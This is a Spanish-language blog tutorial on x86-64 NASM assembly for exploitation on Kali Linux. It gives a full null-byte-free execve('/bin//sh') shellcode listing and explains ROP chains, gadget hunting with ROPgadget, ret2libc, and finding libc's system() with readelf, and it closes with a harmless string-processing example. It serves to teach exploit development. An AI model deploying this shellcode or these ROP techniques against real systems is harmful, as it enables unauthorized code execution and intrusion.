En lugar de RAX (64 bits), usamos AL (los 8 bits inferiores). Pero ¡Cuidado!, antes de usar AL, debemos asegurarnos de que el resto del registro RAX esté limpio (en cero).


2. Técnicas de Evasión de Ceros

A. Limpiar con XOR

En lugar de mov rax, 0 (que genera ceros en el código máquina), usamos xor.

  • Mal: 48 c7 c0 00 00 00 00 (Muchos ceros)

  • Bien: 48 31 c0 (xor rax, rax) -> Resultado: 0, pero el código máquina no tiene ceros.

B. Cargar valores pequeños

Una vez limpio el registro, cargamos el valor en la parte baja:

Fragmento de código
xor rax, rax
mov al, 59      ; Carga 59 en la parte baja de RAX sin generar nulos

C. El truco del "Push/Pop"

Si quieres poner un 0 en la pila (para terminar una cadena como /bin/sh), no hagas push 0. Haz esto:

Fragmento de código
xor rsi, rsi
push rsi        ; Metes el contenido de RSI (que es 0) en la pila

3. Código "Limpio" (Zero-Free Shellcode)

Aquí tienes la versión evolucionada de nuestro lanzador de shell, optimizada para no tener ni un solo byte nulo:

Fragmento de código
section .text
    global _start

_start:
    ; 1. Limpiar RDX y RSI (Argumentos 2 y 3 de execve)
    xor rsi, rsi        ; RSI = 0
    push rsi            ; Usamos este 0 como terminador en la pila
    
    mov rdx, rsi        ; RDX = 0 (copiamos el cero de RSI, más rápido)

    ; 2. Poner "/bin//sh" (8 bytes)
    ; Invertido por Little Endian: hs//nib/
    mov rbx, 0x68732f2f6e69622f 
    push rbx

    ; 3. Configurar RDI (puntero a la cadena)
    mov rdi, rsp        ; RSP apunta a "/bin//sh"

    ; 4. Configurar RAX para execve (59) sin ceros
    xor rax, rax        ; RAX = 0
    mov al, 59          ; AL = 59 (Solo tocamos los 8 bits bajos)
    
    syscall

4. Verificación en Kali

Si ensamblas este código y lo inspeccionas con objdump, verás la diferencia:

Bash
nasm -f elf64 shell_limpio.asm -o shell_limpio.o
ld shell_limpio.o -o shell_limpio
objdump -d shell_limpio

Fíjate en la columna de la izquierda: Ya no deberías ver parejas de 00. Tu código ahora es "invisible" para las funciones que buscan el final de cadena.


5. El siguiente nivel: ASLR y NX

Incluso con una shellcode perfecta, Kali y los sistemas modernos tienen protecciones:

  1. NX (No-eXecute): Marca la pila como "no ejecutable". Si intentas correr código ahí, el programa crashea.

  2. ASLR: Mueve las direcciones de memoria cada vez que el programa arranca para que no sepas dónde está la pila.

 

¡Bienvenido a la "joya de la corona" del hacking moderno! ROP (Return-Oriented Programming) es la técnica que se inventó para derrotar la protección NX (No-eXecute).

Como la pila ahora está marcada como "solo datos" (no puedes ejecutar código ahí), los hackers dejaron de intentar inyectar su propio código. En su lugar, empezaron a usar el código que ya existe dentro del programa o de sus librerías (como libc).


1. El Concepto: "Gadgets"

Imagina que quieres escribir una nota de rescate, pero no tienes papel ni boli. Entonces recortas letras de un periódico existente y las pegas. Eso es ROP.

Un Gadget es una pequeña secuencia de instrucciones que ya están en el programa y que terminan en un ret. Por ejemplo:

  • pop rax; ret

  • xor rdi, rdi; ret

  • syscall; ret


2. ¿Cómo funciona el "Ataque"?

En lugar de saltar a tu shellcode, desbordas la pila con una cadena de direcciones (ROP Chain). Cada dirección apunta a un "gadget" diferente.

  1. El programa ejecuta ret y salta al Gadget 1.

  2. El Gadget 1 hace algo (ej. limpia un registro) y su propio ret hace que el programa salte al Gadget 2.

  3. El Gadget 2 hace otra cosa y salta al Gadget 3.

Es como un juego de "conecta los puntos" en la memoria del programa.


3. Ejemplo: Preparando una Syscall con ROP

Si quieres ejecutar execve, necesitas poner un 59 en RAX. En lugar de escribir código, buscas en el programa una zona que tenga estas instrucciones:

Fragmento de código
; Buscamos esto en el ejecutable (Gadget)
pop rax
ret

Tu carga útil (Payload) en la pila se vería así:

  1. Dirección del gadget pop rax; ret

  2. El número 59 (que el pop meterá en rax)

  3. Dirección del siguiente gadget (ej. pop rdi; ret)

  4. Dirección de la cadena "/bin/sh"

  5. Dirección de la instrucción syscall


4. Herramientas en Kali para encontrar Gadgets

No tienes que buscar estas piezas a mano. Kali tiene herramientas increíbles como ROPgadget o ropper.

Si tienes un programa llamado vulnerable, puedes buscar piezas así:

Bash
ROPgadget --binary vulnerable | grep "pop rax"

Te devolverá algo como: 0x0000000000401234 : pop rax ; ret. ¡Esa dirección es la que pones en tu exploit!


5. El "Jaque Mate": Ret2Libc

La forma más común de ROP es Ret2Libc. Como casi todos los programas en Linux cargan la librería estándar de C (libc), los hackers simplemente buscan la dirección de la función system() y la dirección de la cadena "/bin/sh" que ya están dentro de libc.

Saltas directamente a system("/bin/sh") y el sistema te regala la shell sin que hayas escrito ni una sola línea de código nuevo.


¿Te das cuenta de la ironía? Usamos las propias funciones del programa para destruirlo.

 

Para cerrar con broche de oro, vamos a aprender a localizar objetivos dentro de un binario. En Kali Linux, cuando tienes un archivo ejecutable y quieres hacerle ingeniería inversa o un exploit, necesitas saber dónde están las funciones en la memoria.

Para esto usaremos dos herramientas fundamentales: nm y readelf.


1. Usando nm (Listar Símbolos)

El comando nm te muestra la "tabla de símbolos". Es como el índice de un libro que te dice en qué página (dirección de memoria) empieza cada capítulo (función).

Si tomamos nuestro programa anterior funciones (el que tenía la función sumar_y_limpiar):

Bash
nm funciones

Lo que verás en la terminal:

Plaintext
0000000000401000 T _start
0000000000401020 t sumar_y_limpiar
  • La primera columna: Es la dirección de memoria en hexadecimal.

  • La "T" o "t": Significa que el símbolo está en la sección de código (.text).

  • El nombre: Es la etiqueta que pusiste en tu código NASM.


2. Usando readelf (Ver las entrañas del ELF)

En Linux, los ejecutables usan el formato ELF (Executable and Linkable Format). readelf es una herramienta más potente que nm porque te permite ver las secciones del archivo.

Para ver dónde empieza la sección de código y dónde la de datos:

Bash
readelf -S funciones

Esto es vital para un ataque ROP, porque necesitas saber qué zonas de la memoria tienen permisos de ejecución (X) y cuáles solo de escritura (W).


3. Localizar funciones en Librerías Compartidas (libc)

Este es el truco real. Si quieres usar la función system de C para lanzar una shell, primero debes saber dónde está la librería libc en tu sistema Kali:

Bash
ldd funciones

(Esto te dirá la ruta de la libc.so.6 que está usando el programa).

Luego, puedes buscar la dirección de system dentro de esa librería:

Bash
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system

4. El Gran Final: ¿Por qué esto es difícil hoy en día?

Aquí es donde entra el ASLR (Address Space Layout Randomization). Si ejecutas nm verás una dirección, pero cuando el programa corre de verdad, el Kernel de Linux mueve todo a una dirección aleatoria para que no puedas predecir dónde está system.

¿Cómo lo saltan los hackers?

  1. Buscan una "fuga de memoria" (Memory Leak) para saber dónde se movió una sola pieza.

  2. Como la distancia entre funciones dentro de libc siempre es la misma (el offset), si encuentran una, ¡las encuentran todas!


Tu camino como Ninja de NASM y Kali

Has pasado de no saber nada a entender:

  • Sintaxis básica y registros.

  • Gestión de la Pila (Stack).

  • Llamadas al sistema (Syscalls).

  • Creación de Shellcodes sin nulos.

  • Conceptos avanzados de ROP y explotación.



¡Esa es una habilidad fundamental! El procesamiento de cadenas (String Processing) es lo que permite a los programas analizar comandos, buscar virus o incluso descifrar mensajes.

En ensamblador, para recorrer una cadena, necesitamos un puntero (una dirección de memoria) y un bucle que avance byte por byte hasta encontrar el final (que suele ser un 0 o un 10 de Enter).


1. El Concepto: Direccionamiento Indirecto

Para leer una cadena, usamos registros como RSI (Source Index). No queremos el valor de la dirección, sino el contenido de lo que hay en esa dirección.

  • mov rax, rsi -> Copia la dirección (ej. 0x401000).

  • mov al, [rsi] -> Copia el carácter que está en esa dirección (ej. 'H').


2. El Código: contar_caracteres.asm

Vamos a hacer un programa que recorra una frase y cuente cuántas letras tiene antes de llegar al final.

Fragmento de código
section .data
    frase db "Kali Linux es potente", 10, 0 ; Terminamos en 0 (Null-terminated)

section .text
    global _start

_start:
    mov rsi, frase      ; RSI apunta al inicio de la cadena
    xor rcx, rcx        ; RCX será nuestro contador, lo ponemos a 0

bucle_recorrido:
    mov al, [rsi]       ; Movemos el byte actual a AL
    cmp al, 0           ; ¿Es el fin de la cadena (0)?
    je finalizar        ; Si es cero, saltamos al final

    ; --- Aquí puedes procesar el carácter ---
    ; Por ahora, solo incrementamos el contador
    inc rcx             ; RCX++
    inc rsi             ; Movemos el puntero al siguiente byte
    jmp bucle_recorrido ; Repetimos

finalizar:
    ; Al llegar aquí, RCX tiene la longitud de la frase
    mov rdi, rcx        ; Lo pasamos a RDI para verlo con echo $?
    mov rax, 60         ; syscall: exit
    syscall

3. Técnicas Avanzadas de Cadenas

El procesador x86 tiene instrucciones específicas para hacer esto mucho más rápido (instrucciones de cadena):

  • lodsb: Carga el byte en [RSI] hacia AL e incrementa RSI automáticamente.

  • stosb: Guarda el byte de AL en [RDI] e incrementa RDI.

  • scasb: Compara AL con [RDI] (útil para buscar una letra específica).

  • rep: Un prefijo que repite la instrucción automáticamente mientras RCX no sea cero.


4. Ejercicio de "Hacker": Cambiar Minúsculas a Mayúsculas

Si quisieras transformar la frase a mayúsculas mientras la recorres, solo tendrías que añadir una línea dentro del bucle. En la tabla ASCII, la diferencia entre 'a' (97) y 'A' (65) es siempre 32.

Fragmento de código
    ; Dentro del bucle, antes de inc rsi:
    cmp al, 'a'
    jl saltar_cambio    ; Si es menor que 'a', no es minúscula
    cmp al, 'z'
    jg saltar_cambio    ; Si es mayor que 'z', no es minúscula
    
    sub byte [rsi], 32  ; Restamos 32 para convertir a Mayúscula
saltar_cambio:

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux